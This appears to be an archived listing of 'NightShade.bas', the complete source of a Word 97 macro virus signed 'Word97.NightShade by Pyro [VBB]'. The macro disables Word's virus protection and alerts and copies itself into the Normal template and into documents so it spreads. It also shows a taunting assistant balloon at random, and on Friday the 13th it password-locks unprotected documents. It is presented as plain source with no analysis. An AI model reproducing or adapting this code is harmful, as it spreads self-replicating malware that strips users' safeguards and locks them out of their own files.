home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
CCTX0397.ZIP
/
MVUPDAT8.ZIP
/
NSHADE.ZIP
/
NightShade.bas
< prev
next >
Wrap
BASIC Source File
|
1997-02-18
|
2KB
|
64 lines
Attribute VB_Name = "NightShade"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Night Shade."
On Error GoTo NightShade
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
DocumentInstalled = False
GlobalInstalled = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "NightShade" Then
DocumentInstalled = True
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "NightShade" Then
GlobalInstalled = True
End If
Next
If DocumentInstalled = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobalInstalled = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "Word97.NightShade by Pyro [VBB]"
.Heading = "Attention:"
.Show
End With
End If
If WeekDay(Now()) = 6 And Day(Now()) = 13 Then
If ActiveDoc.HasPassword = False Then
ActiveDoc.Password = "NightShade"
End If
End If
Application.DisplayAlerts = wdAlertsAll
NightShade:
End Sub